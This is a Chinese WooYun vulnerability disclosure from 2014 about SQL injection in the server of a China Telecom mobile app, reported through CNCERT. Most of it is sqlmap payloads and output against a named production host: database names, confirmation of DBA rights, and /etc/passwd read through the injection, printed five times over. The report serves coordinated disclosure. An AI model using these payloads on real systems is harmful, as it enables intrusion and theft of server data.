当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075388

漏洞标题：中国电信某APP服务端SQL注射

相关厂商：中国电信

漏洞作者： 超威蓝猫

提交时间：2014-09-07 22:14

修复时间：2014-10-22 22:16

公开时间：2014-10-22 22:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-07： 细节已通知厂商并且等待厂商处理中
2014-09-12： 厂商已经确认，细节仅向厂商公开
2014-09-22： 细节向核心白帽子及相关领域专家公开
2014-10-02： 细节向普通白帽子公开
2014-10-12： 细节向实习白帽子公开
2014-10-22： 细节向公众公开

简要描述：

中国电信某APP服务端SQL注射

详细说明：

从豌豆荚下载中国电信的"爱城市"APP

sshot-2014-09-07-[1].png


打开应用后抓包发现这么一条请求:

sshot-2014-09-07-[2].png


POST /exter.shtml?baseLine=400&serviceType=1038 HTTP/1.1
User-Agent: ffcs/icity
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
Host: www.153.cn:8081
Connection: Keep-Alive
province=&client_type=icity_ver&product_version=6


其中province参数存在SQL注射。

sshot-2014-09-07-[3].png

漏洞证明：

sqlmap.py -r e:\1.txt --dbs --current-user --is-dba


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: province
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: province=-8423' OR (1750=1750)#&client_type=icity_ver&product_version=6
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
    Payload: province=' AND EXTRACTVALUE(5426,CONCAT(0x5c,0x7172637571,(SELECT (CASE WHEN (5426=5426) THEN 1 ELSE 0 END)),0x7171647771)) AND 'gKkU'='gKkU&client_type=icity_ver&product_version=6
    Type: UNION query
    Title: MySQL UNION query (NULL) - 9 columns
    Payload: province=' UNION ALL SELECT CONCAT(0x7172637571,0x74704c786d6163664a72,0x7171647771),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&client_type=icity_ver&product_version=6
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (comment)
    Payload: province=' AND SLEEP(5)#&client_type=icity_ver&product_version=6
---
web application technology: Nginx
back-end DBMS: MySQL 5.1
current user:    'remote@%'
current user is DBA:    True
available databases [14]:
[*] 127.0.0.1
[*] bobing_test
[*] icity
[*] icity_busi
[*] icity_cms
[*] icity_pay
[*] information_schema
[*] memory
[*] mysql
[*] performance_schema
[*] share
[*] test
[*] traffic
[*] v7


sqlmap.py -r e:\1.txt --file-read=/etc/passwd


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
qpidd:x:497:496:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pulse:x:496:494:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
icity:x:500:500::/home/icity:/bin/bash
mysql:x:501:501::/home/mysql:/bin/bash
oracle:x:502:502::/home/oracle:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
qpidd:x:497:496:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pulse:x:496:494:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
icity:x:500:500::/home/icity:/bin/bash
mysql:x:501:501::/home/mysql:/bin/bash
oracle:x:502:502::/home/oracle:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
qpidd:x:497:496:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pulse:x:496:494:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
icity:x:500:500::/home/icity:/bin/bash
mysql:x:501:501::/home/mysql:/bin/bash
oracle:x:502:502::/home/oracle:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
qpidd:x:497:496:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pulse:x:496:494:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
icity:x:500:500::/home/icity:/bin/bash
mysql:x:501:501::/home/mysql:/bin/bash
oracle:x:502:502::/home/oracle:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
qpidd:x:497:496:Owner of Qpidd Daemons:/var/lib/qpidd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pulse:x:496:494:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
icity:x:500:500::/home/icity:/bin/bash
mysql:x:501:501::/home/mysql:/bin/bash
oracle:x:502:502::/home/oracle:/bin/bash

修复方案：

电信更专业咯

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-09-12 16:42

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT直接通报给中国电信集团公司处置。APP服务端案例，rank 12

最新状态：

暂无

漏洞评价：

评论

  1. 2014-09-07 22:39 | 魇 ( 普通白帽子 | Rank:1207 漏洞数:104 | 传闻中魇是一个惊世奇男子，但是除了他华...)

    辣鸡涛肯定是童年被电信怪蜀黍侵犯过

  2. 2014-09-07 23:21 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @魇 辣鸡梦魔

  3. 2014-09-08 09:00 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    @超威蓝猫 辣鸡蓝猫

  4. 2014-09-08 19:28 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    MARK

  5. 2014-09-10 12:45 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    首先得下个电信的APP

  6. 2014-10-22 22:36 | 小豹 ( 实习白帽子 | Rank:33 漏洞数:8 | 一个人的寂寞，整个群的错234236)

    问问楼主。burp如何截断软件的请求？

  7. 2014-10-22 23:25 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @小豹 在安卓虚拟机中设置代理。

  8. 2014-10-23 07:13 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    @超威蓝猫 你不是准备高考了吗?

  9. 2014-10-23 11:43 | 小卖部部长 ( 路人 | Rank:24 漏洞数:3 | 别拿部长不当干部！)

    APP问题很多，就是想在电脑上安装模拟器。。。哎。

  10. 2014-10-23 12:33 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @scanf nywnss

  11. 2014-10-23 17:02 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    @超威蓝猫 @超威蓝猫 wmrnss

  12. 2014-10-23 21:47 | 小豹 ( 实习白帽子 | Rank:33 漏洞数:8 | 一个人的寂寞，整个群的错234236)

    @超威蓝猫 哦哦，原来如此。谢谢